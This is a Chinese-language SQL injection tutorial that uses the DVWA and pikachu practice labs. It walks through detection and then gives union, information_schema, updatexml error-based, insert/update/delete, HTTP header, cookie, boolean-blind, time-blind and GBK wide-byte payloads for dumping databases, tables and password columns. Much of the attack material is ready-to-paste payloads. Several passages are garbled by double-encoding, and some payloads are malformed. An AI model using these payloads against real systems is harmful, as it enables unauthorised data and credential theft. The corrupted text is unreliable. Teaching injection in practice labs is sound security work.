??注入攻擊的原理:
? ? ? ?注射式攻擊的根源在于,程序命令和用戶數(shù)據(jù)(即用戶輸入)之間沒有做到?jīng)芪挤置?。這使得攻擊者有機(jī)會(huì)將程序命令當(dāng)作用戶輸入的數(shù)據(jù)提交給Web程序,以發(fā)號(hào)施令,為所欲為(注:注入最終是數(shù)據(jù)庫,與腳本、平臺(tái)無關(guān))。
總之一句話:注入產(chǎn)生的原因是接受相關(guān)參數(shù)未經(jīng)處理直接帶入數(shù)據(jù)庫查詢操作。
??注入前的準(zhǔn)備及注入漏洞檢測(cè):
1、顯示友好HTTP錯(cuò)誤信息(現(xiàn)在瀏覽器不用管)
2、手工檢測(cè)SQL注入點(diǎn)
??最常用的SQL注入點(diǎn)判斷方法,是在網(wǎng)站中尋找如下形式的網(wǎng)頁鏈接。
http://www.*****.com/***.asp?id=xx (ASP注入) (其他語言等同于這個(gè)鏈接)
http://www.*****.com/index.asp?id=8&page=99 (注:注入的時(shí)候確認(rèn)是id參數(shù)還是page參數(shù),工具默認(rèn)只對(duì)后面page參數(shù)注入,所以要對(duì)工具進(jìn)行配置或者手工調(diào)換)?
http://www.*****.com/index/new/id/8 偽靜態(tài)
http://www.?*****.com/index/new/php-8.html偽靜態(tài)
其中的“**”可能是數(shù)字,也有可能是字符串,分別被稱為整數(shù)類型數(shù)據(jù)和字符型數(shù)據(jù)。如何判斷某個(gè)網(wǎng)頁鏈接是否存在SQL注入漏洞呢?? ? ?通常有兩種檢測(cè)方法。
??1.? “單引號(hào)”法
? ? ? 第一種檢測(cè)SQL注入漏洞是否存在的方法是“單引號(hào)”法。方法很簡單,直接在瀏覽器地址欄中的網(wǎng)址鏈接后加上一個(gè)單引號(hào),如果頁面不能正常顯示,瀏覽器返回一些異常信息,則說明該鏈接可能存在注入漏洞。
??2.? ?1=1和1=2法
? ? ? ?很多時(shí)候檢測(cè)提交包含引號(hào)的鏈接時(shí),會(huì)提示非法字符,或者直接不返回任何信息,但這并不等于不存在SQL注入漏洞。此時(shí)可使用經(jīng)典的“1=1和1=2”法進(jìn)行檢測(cè)。方法很簡單,就是直接在鏈接地址后分別加上and 1=1和and 1=2進(jìn)行提交,如果返回不同的頁面,那么說明存在SQL注入漏洞。
??注入分類
??1、數(shù)字型注入:?or 1=1
? ? 當(dāng)輸入的參數(shù)為整型時(shí),如ID、年齡、頁碼等,如果存在注入漏洞,則可以認(rèn)為是數(shù)字型注入。
正常的SQL語句:
select username,email from member where id=1;
輸入測(cè)試代碼后的SQL語句:
select username,email from member where id=1 or 1=1;
??2、字符型注入:' or 1=1#?
? ? ? ?當(dāng)輸入?yún)?shù)為字符串時(shí),稱為字符型。數(shù)字型與字符型注入最大的區(qū)別在于:數(shù)字型不需要單引號(hào)閉合,而字符串類型一般要使用單引號(hào)來閉合。
輸入字符型測(cè)試代碼:
列如:? ?select id,email from member where username='vince' or 1=1#';
? ? ? ?我們?cè)趘ince后面添加單引號(hào)來閉合vince,再在1=1后面添加注釋#來消除掉后面的單引號(hào),這樣來完成一個(gè)SQL語句的拼接合法性。完整的語句為select id,email from member where username='vince‘ or 1=1#';
??3、搜索型注入:xxxx%'or 1=1 #
當(dāng)在搜索框搜索的時(shí)候,稱為搜索型。
正常的SQL語句:
select * from member where username like '%vince%' or 1=1;
輸入搜索型測(cè)試代碼:
select * from member where username like '%xxxx%'or 1=1 #%'
??4、XX型注入(一般用的少):XX') or 1=1#
XX型是由于SQL語句拼接方式不同,注入語句如下:
select * from member where username=('xx') or 1=1;
??注入提交的方式
ASP:request (全部接受)、request.querystring (接受get)、request.form (接受post)、 request.cookie cookie (接受cookie)
PHP:$_REQUEST(全部接受)(最不安全)、$_GET $_POST (接受post)、$_COOKIE(接受cookie)
??1、get提交:
一般直接通過瀏覽器地址欄提交,如下圖:

?? 2、post提交:
可通過安裝火狐瀏覽器插件(hackbar)或Burp工具來完成,如下圖:


?? 3、cookie提交:
一般通Burp工具來完成,如下圖:

??注入攻擊類型與方式:
? ? ? ?主要有:union注入、insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函數(shù)報(bào)錯(cuò)、寬字節(jié)注入、二次注入、偏移注入等。
?? 1、union注入:
? ? ? ?union操作符用于合并兩個(gè)或多個(gè)SQL語句集合起來,得到聯(lián)合的查詢結(jié)果。下面以pikachu平臺(tái)的數(shù)據(jù)庫為例,輸入select id,email from member where username='kevin' union select username,pw from member where id=1;查詢結(jié)果如下:
注:union操作符一般與order by語句配合使用
下面以DVWA平臺(tái)的數(shù)據(jù)庫為例:? 先判斷出這里存在注入漏洞

再利用order by 排序判斷出主查詢字段 (因?yàn)椴樵兊淖侄尾荒艹^主查詢的字段,這個(gè)時(shí)候可以在SQL語句后面加order by進(jìn)行排序,通過這個(gè)辦法可以判斷主查詢的字段。)
輸入1' order by 3 #,反饋如圖:出現(xiàn)報(bào)錯(cuò),說明字段數(shù)小于3

輸入1' order by 2 #,反饋如圖:說明主查詢字段一共2個(gè)。

之后我們來使用union來做一個(gè)SQL語句的拼接。輸入構(gòu)造好的語句
1' union select database(),user()#? ? ? ? ? ? 反饋如圖

?? 2、information_schema注入:
? ? ? ? information_schema數(shù)據(jù)庫是MySQL系統(tǒng)自帶的數(shù)據(jù)庫。其中保存著關(guān)于MySQL服務(wù)器所維護(hù)的所有其他數(shù)據(jù)庫的信息。
? ? ? ? 通過information_schema注入,我們可以將整個(gè)數(shù)據(jù)庫內(nèi)容全部竊取出來, 使用order by來判斷查詢的字段。首先通過聯(lián)合查詢先找出數(shù)據(jù)庫的名稱,輸入1' union select database(),user()#得到反饋,判斷數(shù)據(jù)庫名稱為dvwa。
獲取dvwa數(shù)據(jù)庫的表名,輸入:? ?(有幾個(gè)字段 union select 后面接幾個(gè)查詢的內(nèi)容)
1' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#

獲取dvwa數(shù)據(jù)庫的字段名,輸入:
1' union select table_name,column_name from information_schema.columns?where?table_name='users'#

最后獲取字段值的內(nèi)容,輸入:
1' union select user,password from users#

?? 3、基于函數(shù)報(bào)錯(cuò)注入:
? ? ?在MYSQL中使用一些指定的函數(shù)來制造報(bào)錯(cuò),從而從報(bào)錯(cuò)信息中獲取設(shè)定的信息,常見的select/insert/update/delete注入都可以使用報(bào)錯(cuò)方式來獲取信息。

??背景條件:
后臺(tái)沒有屏蔽數(shù)據(jù)庫報(bào)錯(cuò)信息,在語法發(fā)生錯(cuò)誤時(shí)會(huì)輸出在前端.
(有的網(wǎng)站有注入點(diǎn)但不報(bào)錯(cuò),因?yàn)楸黄帘危?/p>
??基于報(bào)錯(cuò)的信息獲取(三個(gè)常用的用來報(bào)錯(cuò)的函數(shù))
updatexml():函數(shù)是MYSQL對(duì)XML文檔數(shù)據(jù)進(jìn)行查詢和修改的XPATH函數(shù).??
extractvalue():函數(shù)也是MYSQL對(duì)XML文檔數(shù)據(jù)進(jìn)行查詢的XPATH函數(shù).??
floor():MYSQL中用來取整的函數(shù).
??基于報(bào)錯(cuò)的信息獲取
UPDATEXML (XML_document, XPath_string, new_value);?
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱,文中為Doc。
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串) 。
第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)。
??實(shí)戰(zhàn)測(cè)試(測(cè)注入點(diǎn)一般用and,注入一般用or)
1、爆數(shù)據(jù)庫版本信息(格式是固定的)
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)?#
2、爆數(shù)據(jù)庫當(dāng)前用戶
k' and ?updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#??
3、爆數(shù)據(jù)庫
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)?#
4、爆表
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#
但是反饋回的錯(cuò)誤表示只能顯示一行,所以采用limit來一行一行顯示
k'?and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#
更改limit后面的數(shù)字limit 0完成表名遍歷。
5、爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段內(nèi)容
k' and ?updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
返回結(jié)果為連接參數(shù)產(chǎn)生的字符串。如有任何一個(gè)參數(shù)為NULL ,則返回值為 NULL。
通過查詢@@version,返回版本。然后CONCAT將其字符串化。因?yàn)閁PDATEXML第二個(gè)參數(shù)需要Xpath格式的字符串,所以不符合要求,然后報(bào)錯(cuò)。
??insert、update 、delete 、Http Header 、Cookie 注入 (下面以pikachu為例)
? ? ? ?insert注入,就是前端注冊(cè)的信息最終會(huì)被后臺(tái)通過insert這個(gè)操作插入數(shù)據(jù)庫,后臺(tái)在接受前端的注冊(cè)數(shù)據(jù)時(shí)沒有做防SQL注入的處理,導(dǎo)致前端的輸入可以直接拼接SQL到后端的insert相關(guān)內(nèi)容中,導(dǎo)致了insert注入。
進(jìn)入網(wǎng)站注冊(cè)頁面,填寫網(wǎng)站注冊(cè)相關(guān)信息,通過Burp抓包在用戶名輸入相關(guān)payload,格式如下:
oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'
??1. 爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

??2. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'

??3. 爆內(nèi)容
'?or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'?等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

??update注入
與insert注入的方法大體相同,區(qū)別在于update用于用戶登陸端,insert用于用于用戶注冊(cè)端。
? ? ? ?一般登錄網(wǎng)站前臺(tái)或后臺(tái)更新用戶信息的地方,填寫用戶需要修改相關(guān)信息,通過Burp抓包在用戶 名輸入相關(guān)payload,格式如下:
' or updatexml(0,concat(0x7e,(database())),0) or'
?? dalete注入
? ? ? ? 一般應(yīng)用于前后端發(fā)貼、留言、用戶等相關(guān)刪除操作,點(diǎn)擊刪除按鈕時(shí)可通過Brup Suite抓包,對(duì)數(shù)據(jù)包相關(guān)delete參數(shù)進(jìn)行注入,注入方法如下:
delete?from message where id=56?or?updatexml(2,concat(0x7e,(database())),0)

?? Http Header注入
? ? ? 先在pikachu平臺(tái)打開Http Header注入模塊,點(diǎn)擊提示查看登錄帳號(hào)和密碼,登陸后去BurpSuite中找到登陸地GET請(qǐng)求,把請(qǐng)求發(fā)送到Repeater模塊中,去除User-Agent:,然后輸入' 然后運(yùn)行后觀察MYSQL語法報(bào)錯(cuò)然后發(fā)現(xiàn)存在SQL注入漏洞。這時(shí)候可以設(shè)置payload。
在User-Agent輸入:? payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '
?? Cookie注入(只要cookie與數(shù)據(jù)庫交互互就有可能注入)
? ? ? Cookie是網(wǎng)站為了識(shí)別用戶身份來跟蹤會(huì)話的,雖然Cookie是由后端生成的,但每次頁面跳轉(zhuǎn),后端都回對(duì)前端的Cookie的信息進(jìn)行驗(yàn)證,但如果后端獲取Cookie后放在數(shù)據(jù)庫中進(jìn)行拼接,那么這也將是一個(gè)SQL注入點(diǎn)。在ant[uname]=admin后添加一個(gè)’觀察反饋的MYSQL的語法報(bào)錯(cuò),發(fā)現(xiàn)了存在SQL注入漏洞,在設(shè)置
Payload 'and updatexml (1,concat(0x7e,database()),0)#? ? ? 觀察報(bào)錯(cuò)和之前是否相同。
??4、Boolian(布爾型)盲注
? ? ? ?盲注,即在SQL注入過程中,SQL語句執(zhí)行選擇后,選擇的數(shù)據(jù)不能回顯到前端,我們需要使用一些特殊的方法進(jìn)行判斷或嘗試,這個(gè)過程稱為盲注。
SQL盲注分為三大類:基于布爾型SQL盲注、基于時(shí)間型SQL盲注、基于報(bào)錯(cuò)型SQL盲注
??因?yàn)閣eb的頁面返回值都是“True” 或者 “False”,也就是 “1” or “0”,所以布爾盲注就是注入后根據(jù)頁面返回值來得到數(shù)據(jù)庫信息的一種辦法。
輸入語句select ascii(substr(database(),1,1))>xx;通過對(duì)比ascii碼的長度,判斷出數(shù)據(jù)庫表名的第一個(gè)字符。 當(dāng)修改payload??,1,1? ? ?為???,2,1? ?時(shí)爆出第二個(gè)字符
??注:substr()函數(shù)(substr:字符串截取)
substr(string,start,length)
string(必需)規(guī)定要返回其中一部分的字符串。start(必需)規(guī)定在字符串的何處開始。length(可選)規(guī)定被返回字符串的長度。

那么通過這個(gè)方法,雖然只能通過判斷單個(gè)字符,我們同樣可以使用length來判斷表名的長度,判斷出長度后就能多次輸入payload來爆破出每一個(gè)表名的字符。
輸入語句:select length(database())<xx;判斷表名長度為7。
??5、base on time(時(shí)間型)盲注
可以通過后端的執(zhí)行時(shí)間來進(jìn)行注入。這里會(huì)用到的payload:
?vince' and sleep(x)#
基于時(shí)間的延遲,構(gòu)造一個(gè)拼接語句:
vince' and if(substr(database(),1,1)='X'?(猜測(cè)點(diǎn))',sleep(10),null#
輸入后,如果猜測(cè)真確,那么就會(huì)響應(yīng)10秒,如果錯(cuò)誤會(huì)立刻返回錯(cuò)誤。輸入:
vince' and if(substr(database(),1,1)='p',sleep(10),null)#
再web控制臺(tái)下,判斷出database的表名的一個(gè)字符為p。通過這個(gè)辦法我們就能逐步向下獲取數(shù)據(jù)。
??6、寬字節(jié)注入(兩個(gè)條件:對(duì)方的網(wǎng)是gbk、注入時(shí)注入的單引號(hào)前加%df’)
? ? ? ?當(dāng)我們把php.ini文件里面的magic_quotes_gqc參數(shù)設(shè)為ON時(shí),所有的'(單引號(hào)),"(雙引號(hào)),\(反斜杠)和null字符都會(huì)被自動(dòng)加上一個(gè)反斜杠進(jìn)行轉(zhuǎn)義。還有很多函數(shù)有類似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外還有parse_str()后的變量也受magic_quotes_gpc的影響。目前大多數(shù)的主機(jī)都打開了這個(gè)選項(xiàng),并且很多程序員也注意使用上面那些函數(shù)去過濾變量,這看上去很安全,很多漏洞查找者或者工具遇到這些函數(shù)過濾后的變量直接就放棄,但是就在他們放棄的同時(shí)也放過很多致命的安全漏洞。
? ? ? ?其中\(zhòng)的URL編碼是 %5C ,當(dāng)我們?cè)趩我?hào)前面加上%df的時(shí)候,最終就會(huì)變成運(yùn)',如果程序的默認(rèn)字符集是GBK等寬字節(jié)字符集,則MYSQL用GBK的編碼時(shí),會(huì)認(rèn)為 %df 是一個(gè)寬字符,也就是運(yùn),也就是說:%df\’ = %df%5c%27=縗’,有了單引號(hào)就好注入了。
' =======>\'單引號(hào)轉(zhuǎn)義后占兩個(gè)字節(jié),所以我們需要通過繁體字%df構(gòu)造兩個(gè)字節(jié),最終用運(yùn)干掉了\,也就是說被運(yùn)占領(lǐng)了\ 所以最后在頁面也不會(huì)顯示出來.
??小提示: 數(shù)字和字母占一個(gè)字節(jié),漢字占兩個(gè)字節(jié)。
??哪些地方?jīng)]有魔術(shù)引號(hào)的保護(hù)?
(1) $_SERVER 變量
??PHP5的$_SERVER變量缺少magic_quotes_gqc的保護(hù),導(dǎo)致近年來X-Forwarded-For的漏洞猛爆,所以很多程序員考慮過濾X-Forwarded-For,但是其它的變量呢?
(2)getenv()得到的變量(使用類似$_SERVER 變量)
(3)$HTTP_RAW_POST_DATA與PHP輸入、輸出流